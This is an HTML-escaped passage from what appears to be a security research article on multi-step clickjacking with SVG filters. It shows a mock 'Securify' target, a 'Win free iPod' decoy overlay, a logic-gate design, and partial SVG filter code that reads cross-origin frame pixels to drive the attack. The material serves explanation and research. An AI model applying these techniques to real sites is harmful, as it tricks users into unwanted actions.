&lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;lastrow&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feOffset&lt;/sx-t&gt; &lt;sx-r&gt;dx&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;dy&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;-32&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;done&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; &lt;sx-r&gt;in2&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;lastrow&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- Crop to output --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xD;&#xA;&lt;p&gt;Anyways, for an attacker, what all of this means is that you can make a multi-step clickjacking attack with lots of conditions and interactivity. And you can run logic on data from cross-origin frames.&lt;/p&gt;&#xA;&lt;DIV&gt;&lt;fake-frame class=&#34;logic-gate-attack&#34;&gt;&#xD;&#xA;  &lt;p style=&#34;font-size:200%&#34;&gt;Securify&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;Welcome to this secure application!&lt;/p&gt;&#xD;&#xA;  &lt;label&gt;&lt;g-button style=&#34;position:absolute; top: 96px; left: 16px&#34; primary&gt;Hack me&lt;/g-button&gt;&lt;input type=&#34;checkbox&#34; id=&#34;hackmecheck1&#34;&gt;&lt;/label&gt;&#xD;&#xA;  &lt;div class=&#34;hackmedialog&#34;&gt;&lt;div&gt;&#xD;&#xA;    &lt;p&gt;Hack confirmation&lt;/p&gt;&#xD;&#xA;    &lt;p&gt;Are you sure you&#39;d like to get hacked?&lt;/p&gt;&#xD;&#xA;    &lt;label style=&#34;position:absolute; top: 74px; left: 12px&#34;&gt;&lt;input id=&#34;hackmesure1&#34; type=&#34;checkbox&#34;&gt;I am 100% sure&lt;/label&gt;&#xD;&#xA;    &lt;label for=&#34;hackmecheck1&#34;&gt;&lt;g-button style=&#34;position:absolute; top: 96px; left:190px&#34;&gt;No&lt;/g-button&gt;&lt;/label&gt;&#xD;&#xA;    &lt;label&gt;&lt;g-button style=&#34;position:absolute; top: 96px; left: 265px&#34; primary&gt;Yes&lt;/g-button&gt;&lt;input type=&#34;checkbox&#34; id=&#34;hackmeyes1&#34;&gt;&lt;/label&gt;&#xD;&#xA;    &lt;span&gt;⌛&lt;/span&gt;&#xD;&#xA;  &lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;p class=&#34;havebeenhacked&#34; style=&#34;position:absolute;top:145px;font-weight:600;color:red&#34;&gt;&lt;label for=&#34;hackmeyes1&#34;&gt;You have been hacked!&lt;br&gt;&lt;em style=&#34;font-size:75%;color:#888&#34;&gt;(click to go back)&lt;/em&gt;&lt;/label&gt;&lt;/p&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style&gt;&#xD;&#xA;  .logic-gate-attack {&#xD;&#xA;    position: relative;&#xD;&#xA;&#xD;&#xA;    font-family: &#34;Google Sans Text&#34;, &#34;Google Sans&#34;, &#34;Open Sans&#34;, Roboto, Arial, sans-serif;&#xD;&#xA;&#xD;&#xA;    padding: 16px;&#xD;&#xA;    width: 420px;&#xD;&#xA;    max-width: 100%;&#xD;&#xA;    overflow:clip;&#xD;&#xA;    box-sizing: border-box;&#xD;&#xA;    height: 220px;&#xD;&#xA;&#xD;&#xA;    p {&#xD;&#xA;      margin: 0;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    &amp;:has(#hackmecheck1:not(:checked)) .hackmedialog, &amp;:has(#hackmeyes1:checked) .hackmedialog,&#xD;&#xA;    &amp;:has(#hackmecheck3:not(:checked)) .hackmedialog, &amp;:has(#hackmeyes3:checked) .hackmedialog,&#xD;&#xA;    &amp;:has(#hackmecheck2:not(:checked)) .hackmedialog, &amp;:has(#hackmeyes2:checked) .hackmedialog&#xD;&#xA;     {&#xD;&#xA;      pointer-events: none;&#xD;&#xA;      user-select: none;&#xD;&#xA;      opacity: 0;&#xD;&#xA;      &amp; &gt; div &gt; *:not(span) {&#xD;&#xA;        visibility: hidden;&#xD;&#xA;        transition: none;&#xD;&#xA;      }&#xD;&#xA;      &amp; &gt; div &gt; span {&#xD;&#xA;        visibility: visible;&#xD;&#xA;        transition: none;&#xD;&#xA;        rotate: -0deg;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    &amp;:has(#hackmeyes1:not(:checked)) .havebeenhacked,&#xD;&#xA;    &amp;:has(#hackmeyes3:not(:checked)) .havebeenhacked,&#xD;&#xA;    &amp;:has(#hackmeyes2:not(:checked)) .havebeenhacked {&#xD;&#xA;      display: none;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    .hackmedialog {&#xD;&#xA;      transition: opacity 0.2s;&#xD;&#xA;      position:absolute;inset:0;background:#0004;&#xD;&#xA;      &amp; &gt; div {&#xD;&#xA;        &amp; &gt; * {&#xD;&#xA;          transition: visibility 0s 3s, rotate 3s linear;&#xD;&#xA;        }&#xD;&#xA;        &amp; &gt; span {&#xD;&#xA;          visibility: hidden;&#xD;&#xA;          top: 50%;&#xD;&#xA;          left: 50%;&#xD;&#xA;          position: absolute;&#xD;&#xA;          rotate: 340deg;&#xD;&#xA;          translate: -50% -50%;&#xD;&#xA;          font-size: 200%;&#xD;&#xA;          user-select: none;&#xD;&#xA;          pointer-events: none;&#xD;&#xA;        }&#xD;&#xA;        position: absolute;&#xD;&#xA;        inset:32px 32px;&#xD;&#xA;        padding: 16px;&#xD;&#xA;        border-radius: 12px;&#xD;&#xA;        width: 320px;&#xD;&#xA;        background: #FFF;&#xD;&#xA;        &amp; &gt; p:first-child {&#xD;&#xA;          font-weight: 600;&#xD;&#xA;          font-size: 150%;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;      &amp;:has(#hackmesure1:not(:checked)) label:has(g-button[primary]),&#xD;&#xA;      &amp;:has(#hackmesure3:not(:checked)) label:has(g-button[primary]),&#xD;&#xA;      &amp;:has(#hackmesure2:not(:checked)) label:has(g-button[primary]) {&#xD;&#xA;        pointer-events: none;&#xD;&#xA;        user-select: none;&#xD;&#xA;        input {&#xD;&#xA;          display: none;&#xD;&#xA;        }&#xD;&#xA;        g-button {&#xD;&#xA;          filter: saturate(0);&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    label:has(g-button) {&#xD;&#xA;      &amp;:has(input:focus-visible) g-button {&#xD;&#xA;        outline-offset: 2px;&#xD;&#xA;        outline: 2px solid #000;&#xD;&#xA;      }&#xD;&#xA;      input {&#xD;&#xA;        opacity: 0;&#xD;&#xA;        position: absolute;&#xD;&#xA;        pointer-events: none;&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;    g-button {&#xD;&#xA;      width: fit-content;&#xD;&#xA;      display: flex;&#xD;&#xA;      font-weight: 501;&#xD;&#xA;      font-family: inherit;&#xD;&#xA;      user-select: none;&#xD;&#xA;      font-size: 14px;&#xD;&#xA;      height: 38px;&#xD;&#xA;      padding: 0 24px;&#xD;&#xA;      align-items: center;&#xD;&#xA;      border-radius: 40px;&#xD;&#xA;      transition: background 0.15s, box-shadow 0.15s;&#xD;&#xA;      cursor: pointer;&#xD;&#xA;&#xD;&#xA;      border: 1px solid #747775;&#xD;&#xA;      background: #FFF;&#xD;&#xA;      color: #0B57D0;&#xD;&#xA;      &amp;:hover {&#xD;&#xA;        background: #ECF2FC;&#xD;&#xA;      }&#xD;&#xA;      &amp;:active {&#xD;&#xA;        background: #D5E1F7;&#xD;&#xA;      }&#xD;&#xA;&#xD;&#xA;      &amp;[primary] {&#xD;&#xA;        border: 1px solid #0B57D0;&#xD;&#xA;        background: #0B57D0;&#xD;&#xA;        color: #FFF;&#xD;&#xA;        box-shadow: 0px 1px 3px 1px #0000;&#xD;&#xA;        &amp;:hover {&#xD;&#xA;          background: #1E64D4;&#xD;&#xA;          box-shadow: 0px 1px 3px 1px #0003;&#xD;&#xA;        }&#xD;&#xA;        &amp;:active {&#xD;&#xA;          background: #3574D8;&#xD;&#xA;          box-shadow: 0px 1px 3px 1px #0000;&#xD;&#xA;        }&#xD;&#xA;      }&#xD;&#xA;    }&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;This is an example target where we want to trick the user into marking themselves as hacked, which requires a few steps:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Clicking a button to open a dialog&lt;/li&gt;&#xA;&lt;li&gt;Waiting for the dialog to load&lt;/li&gt;&#xA;&lt;li&gt;Clicking a checkbox within the dialog&lt;/li&gt;&#xA;&lt;li&gt;Clicking another button in the dialog&lt;/li&gt;&#xA;&lt;li&gt;Checking for the red text that appeared&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;DIV&gt;&lt;fake-frame class=&#34;logic-gate-attack&#34;&gt;&#xD;&#xA;    &lt;p style=&#34;font-size:200%&#34;&gt;Securify&lt;/p&gt;&#xD;&#xA;  &lt;p&gt;Welcome to this secure application!&lt;/p&gt;&#xD;&#xA;  &lt;label&gt;&lt;g-button style=&#34;position:absolute; top: 96px; left: 16px&#34; primary&gt;Hack me&lt;/g-button&gt;&lt;input type=&#34;checkbox&#34; id=&#34;hackmecheck3&#34;&gt;&lt;/label&gt;&#xD;&#xA;  &lt;div class=&#34;hackmedialog&#34;&gt;&lt;div&gt;&#xD;&#xA;    &lt;p&gt;Hack confirmation&lt;/p&gt;&#xD;&#xA;    &lt;p&gt;Are you sure you&#39;d like to get hacked?&lt;/p&gt;&#xD;&#xA;    &lt;label style=&#34;position:absolute; top: 74px; left: 12px&#34;&gt;&lt;input id=&#34;hackmesure1&#34; type=&#34;checkbox&#34;&gt;I am 100% sure&lt;/label&gt;&#xD;&#xA;    &lt;label for=&#34;hackmecheck3&#34;&gt;&lt;g-button style=&#34;position:absolute; top: 96px; left:190px&#34;&gt;No&lt;/g-button&gt;&lt;/label&gt;&#xD;&#xA;    &lt;label&gt;&lt;a href=&#34;https://soundcloud.com/beansclub/allicandoiscry&#34; target=&#34;_blank&#34;&gt;&lt;g-button style=&#34;position:absolute; top: 96px; left: 265px&#34; primary&gt;Yes&lt;/g-button&gt;&lt;/a&gt;&lt;input type=&#34;checkbox&#34; id=&#34;hackmeyes3&#34;&gt;&lt;/label&gt;&#xD;&#xA;    &lt;span&gt;⌛&lt;/span&gt;&#xD;&#xA;  &lt;/div&gt;&lt;/div&gt;&#xD;&#xA;  &lt;p class=&#34;havebeenhacked&#34; style=&#34;position:absolute;top:145px;font-weight:600;color:red&#34;&gt;&lt;label for=&#34;hackmeyes3&#34;&gt;You have been hacked!&lt;br&gt;&lt;em style=&#34;font-size:75%;color:#888&#34;&gt;(click to go back)&lt;/em&gt;&lt;/label&gt;&lt;/p&gt;&#xD;&#xA;  &lt;div id=&#34;tradjack-attack&#34; style=&#34;position:absolute;inset:0;pointer-events:none&#34;&gt;&#xD;&#xA;  &lt;p&gt;Win free iPod by following the steps below.&lt;/p&gt;&#xD;&#xA;  &lt;div style=&#34;position: absolute;top: 96px;left: 16px;width:108px;height:40px;background:#F44;color:#000;border-radius:8px;cursor:pointer;align-content:center;&#34;&gt;1. Click here&lt;/div&gt;&#xD;&#xA;  &lt;div style=&#34;position: absolute;top: 140px;left: 16px;&#34;&gt;2. Wait 3 seconds&lt;/div&gt;&#xD;&#xA;  &lt;div style=&#34;position: absolute;top: 106px;left: 122px;width:60px;height:20px;background:#4F4;color:#000;border-radius:8px&#34;&gt;3. Click&lt;/div&gt;&#xD;&#xA;  &lt;div style=&#34;position: absolute;top: 130px;left: 300px;width:74px;height:40px;background:#44F;color:#FFF;border-radius:8px&#34;&gt;4. Click here&lt;/div&gt;&#xD;&#xA;  &lt;/div&gt;&#xD;&#xA;&lt;/fake-frame&gt;&lt;/DIV&gt;&#xD;&#xA;&lt;style type=&#34;text/css&#34;&gt;&#xD;&#xA;  #tradjack-attack {&#xD;&#xA;    width: 420px;&#xD;&#xA;    max-width: 100%;&#xD;&#xA;    position: relative;&#xD;&#xA;    height: 220px;&#xD;&#xA;    padding: 16px;&#xD;&#xA;    overflow: clip;&#xD;&#xA;    box-sizing: border-box;&#xD;&#xA;    user-select: none;&#xD;&#xA;    background: #000;&#xD;&#xA;    color: #FFF;&#xD;&#xA;  }&#xD;&#xA;  #lgDebugMode {&#xD;&#xA;    position: absolute;&#xD;&#xA;    top: 2px;&#xD;&#xA;    left: 12px;&#xD;&#xA;    transition: 0.4s background;&#xD;&#xA;    background: #000;&#xD;&#xA;    width: 4px;&#xD;&#xA;    height: 4px;&#xD;&#xA;  }&#xD;&#xA;  body:has(#lgDebugCheck:checked) #lgDebugMode {&#xD;&#xA;    background: #FFF;&#xD;&#xA;  }&#xD;&#xA;&lt;/style&gt;&#xD;&#xA;&lt;p&gt;A traditional clickjacking attack against this target would be difficult to pull off. You&amp;rsquo;d need to have the user click on multiple buttons in a row with no feedback in the UI.&lt;/p&gt;&#xA;&lt;p&gt;There are some tricks you could do to make a traditional attack more convincing than what you see above, but it&amp;rsquo;s still gonna look sketch af. And the moment you throw something like a text input into the mix, it&amp;rsquo;s just not gonna work.&lt;/p&gt;&#xA;&lt;p&gt;Anyways, let&amp;rsquo;s build out a logic tree for a filter-based attack:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Is the dialog open?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em style=color:red&gt;(No)&lt;/em&gt; Is the red text present?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em style=color:red&gt;(No)&lt;/em&gt; Make the user press the button&lt;/li&gt;&#xA;&lt;li&gt;&lt;em style=color:green&gt;(Yes)&lt;/em&gt; Show the end screen&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em style=color:green&gt;(Yes)&lt;/em&gt; Is the dialog loaded?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em style=color:red&gt;(No)&lt;/em&gt; Show loading screen&lt;/li&gt;&#xA;&lt;li&gt;&lt;em style=color:green&gt;(Yes)&lt;/em&gt; Is the checkbox checked?&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;em style=color:red&gt;(No)&lt;/em&gt; Make the user check the checkbox&lt;/li&gt;&#xA;&lt;li&gt;&lt;em style=color:green&gt;(Yes)&lt;/em&gt; Make the user click the button&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Which can be expressed in logic gates&lt;sup id=&#34;fnref:9&#34;&gt;&lt;a href=&#34;#fn:9&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;9&lt;/a&gt;&lt;/sup&gt; as:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Inputs&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;D&lt;/strong&gt; (dialog visible) = check for background dim&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;L&lt;/strong&gt; (dialog loaded) = check for the button in dialog&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;C&lt;/strong&gt; (checkbox checked) = check whether the button is blue or grey&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;R&lt;/strong&gt; (red text visible) = &lt;code&gt;feMorphology&lt;/code&gt; and check for red pixels&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;Outputs&#xA;&lt;ul&gt;&#xA;&lt;li&gt;(¬&lt;strong&gt;D&lt;/strong&gt;) ∧ (¬&lt;strong&gt;R&lt;/strong&gt;) =&amp;gt; button1.png&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;D&lt;/strong&gt; ∧ (¬&lt;strong&gt;L&lt;/strong&gt;) =&amp;gt; loading.png&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;D&lt;/strong&gt; ∧ &lt;strong&gt;L&lt;/strong&gt; ∧ (¬&lt;strong&gt;C&lt;/strong&gt;) =&amp;gt; checkbox.png&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;D&lt;/strong&gt; ∧ &lt;strong&gt;L&lt;/strong&gt; ∧ &lt;strong&gt;C&lt;/strong&gt; =&amp;gt; button2.png&lt;/li&gt;&#xA;&lt;li&gt;(¬&lt;strong&gt;D&lt;/strong&gt;) ∧ &lt;strong&gt;R&lt;/strong&gt; =&amp;gt; end.png&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;And this is how we would implement it in SVG:&lt;/p&gt;&#xA;&lt;pre class=&#34;sx-block sx-full&#34;&gt;&lt;code&gt;&lt;sx-c&gt;&amp;lt;!-- util --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;14px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;SourceGraphic&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feColorMatrix&lt;/sx-t&gt; &lt;sx-r&gt;type&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;matrix&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;debugEnabled&lt;/sx-v&gt;&#xD;&#xA;  &lt;sx-r&gt;values&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feFlood&lt;/sx-t&gt; &lt;sx-r&gt;flood-color&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;#FFF&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;white&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- attack imgs --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feImage&lt;/sx-t&gt; &lt;sx-r&gt;xlink:href&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;data:...&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;420&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;220&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;button1.png&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&amp;lt;/feImage&amp;gt;&#xD;&#xA;&amp;lt;feImage&lt;/sx-t&gt; &lt;sx-r&gt;xlink:href&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;data:...&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;420&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;220&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;loading.png&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&amp;lt;/feImage&amp;gt;&#xD;&#xA;&amp;lt;feImage&lt;/sx-t&gt; &lt;sx-r&gt;xlink:href&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;data:...&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;420&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;220&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;checkbox.png&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&amp;lt;/feImage&amp;gt;&#xD;&#xA;&amp;lt;feImage&lt;/sx-t&gt; &lt;sx-r&gt;xlink:href&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;data:...&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;420&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;220&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;button2.png&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&amp;lt;/feImage&amp;gt;&#xD;&#xA;&amp;lt;feImage&lt;/sx-t&gt; &lt;sx-r&gt;xlink:href&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;data:...&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;0&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;420&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;220&lt;/sx-v&gt; &lt;sx-r&gt;result&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;end.png&lt;/sx-v&gt;&lt;sx-t&gt;&amp;gt;&amp;lt;/feImage&amp;gt;&lt;/sx-t&gt;&#xD;&#xA;&lt;sx-c&gt;&amp;lt;!-- D (dialog visible) --&amp;gt;&lt;/sx-c&gt;&#xD;&#xA;&lt;sx-t&gt;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4px&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;4&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;in&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;SourceGraphic&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feTile&lt;/sx-t&gt; &lt;sx-r&gt;x&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;y&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;0&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;width&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-r&gt;height&lt;/sx-r&gt;&lt;sx-t&gt;=&lt;/sx-t&gt;&lt;sx-v&gt;&amp;quot;100%&amp;quot;&lt;/sx-v&gt; &lt;sx-t&gt;/&amp;gt;&#xD;&#xA;&amp;lt;feBlend&lt;/sx-t&gt; 